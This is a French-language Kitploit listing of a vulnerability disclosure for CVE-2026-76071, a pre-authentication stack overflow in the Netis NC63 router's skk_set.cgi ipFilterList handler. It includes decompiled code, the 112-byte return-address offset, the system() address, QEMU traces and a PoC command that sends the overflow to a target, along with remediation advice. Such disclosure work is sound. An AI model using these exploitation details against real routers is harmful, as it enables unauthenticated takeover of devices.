Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-76071 — Recherche originale et PoC non destructif pour un débordement de tampon de pile avant authentification via un scanset sscanf non borné dans le gestionnaire ipFilterList du Netis NC63 | Kitploit
Outils/GitHubGitHub/ozcanpng/cve-2026-76071
Sécurité IoTAnalyse des VulnérabilitésExploitationRétro-ingénierieAnalyse de BinairesAnalyse de Micrologiciel
GitHubozcanpng/cve-2026-76071

CVE-2026-76071

Recherche originale et PoC non destructif pour un débordement de tampon de pile avant authentification via un scanset sscanf non borné dans le gestionnaire ipFilterList du Netis NC63

Voir le dépôt
1il y a 4 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-76071 : Débordement de tampon de pile sans authentification via sscanf %[^,] dans le gestionnaire ipFilterList de skk_set.cgi sur le routeur Netis NC63

Chercheur : Özcan Ersan (@ozcanpng)

État de la divulgation

  • CVE : CVE-2026-76071
  • Éditeur : Netis Systems Co., Ltd.
  • Produit : Routeur Netis NC63 AC1200 Wireless Dual Band Gigabit MU-MIMO
  • Micrologiciel testé : NC63_V3.0.0.3327
  • Composant affecté : /bin/netis.cgi
  • Point d'accès : POST /cgi-bin/skk_set.cgi
  • Déclencheur : ipFilterList=mod
  • Paramètre confirmé dynamiquement : destHost
  • Même analyseur atteint statiquement par : srcHost
  • Authentification : aucune observée ni requise dans le chemin validé
  • Architecture : MIPS32r2 little-endian, ABI o32, uClibc
  • Classe de vulnérabilité : débordement de tampon basé sur la pile avec contrôle de l'adresse de retour sauvegardée
  • Validation : CGI de production à empreinte d'origine dans un environnement QEMU en mode utilisateur isolé
  • État de l'enregistrement CVE à la préparation : assignée ; les détails de l'enregistrement CNA en attente de publication

Résumé exécutif

L'analyseur générique MIB/valeur du micrologiciel Netis NC63 V3.0.0.3327 analyse le champ destHost de ipFilterList avec deux ensembles %[^,] mais sans largeur de champ maximale. Chaque conversion écrit dans un tampon de pile local de 16 octets. Un client HTTP direct peut donc soumettre un composant long sans virgule et écraser les données de contrôle sauvegardées de la fonction.

Pour le deuxième composant destHost testé dynamiquement, le ra sauvegardé se trouve à exactement 112 octets du tampon local. Le traçage QEMU contre le CGI à empreinte d'origine a confirmé une troisième entrée choisie par l'attaquant à 0x0040f7f4. Un test séparé d'observation uniquement a redirigé le retour vers le chemin PLT d'origine de system() à 0x00423ab0 tout en préservant les données de requête contrôlées par l'attaquant comme argument MIPS a0 exact. Un /bin/sh surveillé a journalisé le marqueur et exécuté aucune commande.

Le PoC public contient délibérément uniquement un motif B surlong. Il n'inclut pas la valeur privée de transfert de contrôle ni la construction de limite de commande.

Intégrité de l'artefact affecté

root@kitploit:~
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792  netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2  squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b  squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47  squashfs-root/lib/libapmib.so

Empreintes de hachage de production d'origine

Surface d'attaque et état de l'authentification

Le frontal du fournisseur construit srcHost et destHost sous forme de trois composants séparés par des virgules et les envoie avec ipFilterList à /cgi-bin/skk_set.cgi :

root@kitploit:~
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();

request({
    url: "/cgi-bin/skk_set.cgi",
    data: param
});

Construction de la requête par le frontal du fournisseur

La requête CGI validée et conforme HTTP ne contenait aucun en-tête Cookie ou Authorization. /tmp/boa_auth était absent, pourtant l'exécution s'est poursuivie dans le chemin d'analyse ipFilterList=mod et destHost. Le défaut de corruption mémoire est l'ensemble sans largeur dans FUN_0040f7f4 ; l'échec d'autorisation CGI plus large est la condition qui expose ce gestionnaire privilégié avant authentification.

Limite CGI racine sans authentification

Traçage de la source à la destination

root@kitploit:~
Client HTTP non authentifié
  |
  | POST /cgi-bin/skk_set.cgi
  | ipFilterList=mod
  | destHost=1,0.0.0.0,<composant long sans virgule>
  v
FUN_004138a0
  v
FUN_004134c8 (ligne de déclenchement ipFilterList)
  v
FUN_00410898(request, "ipFilterList")
  v
FUN_0040f7f4(request, trigger, mib_table, pMib)
  |
  | get_request_param("destHost")
  v
sscanf(value, "%d,%[^,],%[^,]", ...)
  |
  | deuxième destination : char[16]
  | aucune largeur d'ensemble maximale
  v
écrasement de fp sauvegardé -> écrasement de ra sauvegardé -> PC contrôlé

Les métadonnées d'origine de libapmib.so mappent à la fois srcHost et destHost au type 0x0c, ce qui sélectionne ce cas d'analyseur. La validation dynamique a été effectuée avec destHost ; srcHost est inclus comme couverture statique du même analyseur plutôt que comme revendication dynamique distincte.

Route du gestionnaire et métadonnées MIB d'origine

Code vulnérable

Pseudo-code normalisé dérivé de Ghidra :

root@kitploit:~
case 0x0c:
    value = get_request_param(request, metadata_name);
    sscanf(value,
           "%d,%[^,],%[^,]",
           &selector,
           first_ip_component,   /* char[16] */
           second_ip_component); /* char[16] */

    *(char *)(destination + field_offset) = selector;
    inet_aton(first_ip_component, destination + field_offset + 1);
    inet_aton(second_ip_component, destination + field_offset + 5);
    break;

Conversions d'ensembles non bornées

sscanf() n'est pas intrinsèquement la vulnérabilité. Le défaut est que %[^,] n'a pas de largeur de champ maximale, donc sscanf n'a aucun moyen de savoir que chaque destination ne fait que 16 octets. Un format sensible à la capacité utiliserait une largeur telle que %15[^,], vérifierait qu'exactement trois conversions ont réussi, puis validerait les adresses analysées. Il s'agit d'une atténuation à titre d'exemple, pas d'un correctif du fournisseur.

Analyse de la corruption de la pile

FUN_0040f7f4 commence à 0x0040f7f4 et crée une trame de 0x1d0 octets :

root@kitploit:~
0040f7f4  addiu sp,sp,-0x1d0
0040f7f8  sw    ra,0x1cc(sp)
0040f7fc  sw    fp,0x1c8(sp)
0040f800  sw    s0,0x1c4(sp)

Les destinations de type 0x0c sont à fp+0x14c et fp+0x15c. Le ra sauvegardé est à fp+0x1cc, ce qui donne la distance exacte depuis le deuxième tampon :

root@kitploit:~
0x1cc - 0x15c = 0x70 = 112 octets

Disposition de la pile et décalage du ra sauvegardé

Vérification dynamique

Contrôle du compteur ordinal

La preuve PC isolée a utilisé 112 octets de bourrage suivis des trois octets de poids faible en little-endian de 0x0040f7f4 ; le terminateur de sscanf a fourni le quatrième octet nul. QEMU a observé deux entrées ordinaires de l'analyseur suivies d'une troisième entrée provoquée par l'adresse de retour écrasée :

root@kitploit:~
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: la troisième entrée de l'analyseur est le RA sauvegardé écrasé.

Troisième entrée d'analyseur contrôlée

Limite de commande en observation uniquement

Une validation privée distincte a formé ra=0x00423ab0, le chemin PLT de system() du binaire d'origine. Un suffixe de clé de requête contrôlé est resté dans a0 MIPS au retour. L'environnement d'exécution jetable a remplacé /bin/sh par un journaliseur statique :

root@kitploit:~
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: les données de requête contrôlées par l'attaquant ont atteint system() en tant que a0 exact.
PASS: /bin/sh surveillé a enregistré argv et n'a exécuté aucune commande.

Cela établit une primitive RCE dans le chemin de code de production isolé. La fiabilité exacte de l'exploitation sur le routeur physique, le comportement de randomisation du noyau et l'exposition WAN par défaut n'ont pas été testés.

Accommodation d'exécution et limite de preuve

Le netis.cgi testé est octet pour octet identique à l'artefact de production. Parce que l'état MIB adossé à la flash n'est pas disponible dans qemu-user, le système de fichiers racine jetable a utilisé une accommodation de laboratoire divulguée de libapmib.so qui allouait un état MIB à zéros et ajustait un alignement de champ condensé. Elle n'a pas modifié le CGI, l'analyseur de requêtes, le sscanf vulnérable, la trame de pile, le décalage de retour sauvegardé, l'épilogue ni le chemin system(). Les métadonnées statiques provenaient du libapmib.so d'origine du fournisseur.

L'exécutable d'origine a une base fixe, n'a ni canari de pile ni RELRO, et a une pile exécutable et un segment RWX. Ces propriétés soutiennent l'analyse d'exploitabilité mais ne remplacent pas les tests dynamiques de PC et de limite surveillée.

État du durcissement du binaire

PoC public sûr

Génération à sec du corps encodé URL :

root@kitploit:~
python3 poc/poc.py

Transmission explicite à une cible jetable autorisée :

root@kitploit:~
python3 poc/poc.py --target http://192.168.1.1 --send

Le script public utilise un composant B de 115 octets pour démontrer la condition de débordement. L'envoyer peut faire planter le processus CGI. Il ne contient aucune chaîne de commande, aucun shellcode, aucune adresse de retour vers system, aucun reverse shell ni persistance.

Impact

Une exploitation réussie peut exécuter des commandes choisies par l'attaquant dans le contexte de gestion du routeur. La configuration Boa d'origine exécute CGI en tant que root. Les conséquences potentielles incluent la divulgation de la configuration et des secrets du routeur, la manipulation DNS/pare-feu/routage, la redirection de trafic, l'interruption de service et la compromission complète de l'appareil.

Remédiation

  1. Utiliser %15[^,] pour chaque destination de 16 octets et exiger trois conversions réussies.
  2. Rejeter les valeurs d'hôte sérialisées surdimensionnées avant l'analyse.
  3. Valider les deux valeurs IP côté serveur avant de les stocker.
  4. Imposer l'autorisation d'administrateur avant la distribution CGI privilégiée.
  5. Auditer chaque cas d'analyseur de métadonnées pour les %s et %[...] sans largeur.
  6. Recompiler avec canaris de pile, PIE, NX et RELRO.

Index des preuves

Voir evidence/README.md. Le pseudo-code normalisé et les preuves d'instructions se trouvent sous attachments/decompiled-functions/.

Chronologie de divulgation

  • 2026-08-16 : découverte et validation sur binaire de production isolé terminées.
  • Août 2026 : signalé à VulnCheck.
  • 2026-08-20 : VulnCheck a assigné CVE-2026-76071 et autorisé la divulgation publique.
  • 2026-08-20 : paquet de divulgation publique publié.

Références

  • CVE-2026-76071
  • VulnCheck
  • Page de support Netis NC63
  • CVE-2026-73673

Aucun routeur physique n'a été flashé. Aucune commande réelle, aucun shellcode, aucun reverse shell, aucune persistance, aucune connexion réseau externe ni opération destructrice n'a été utilisée.

Télécharger l’outil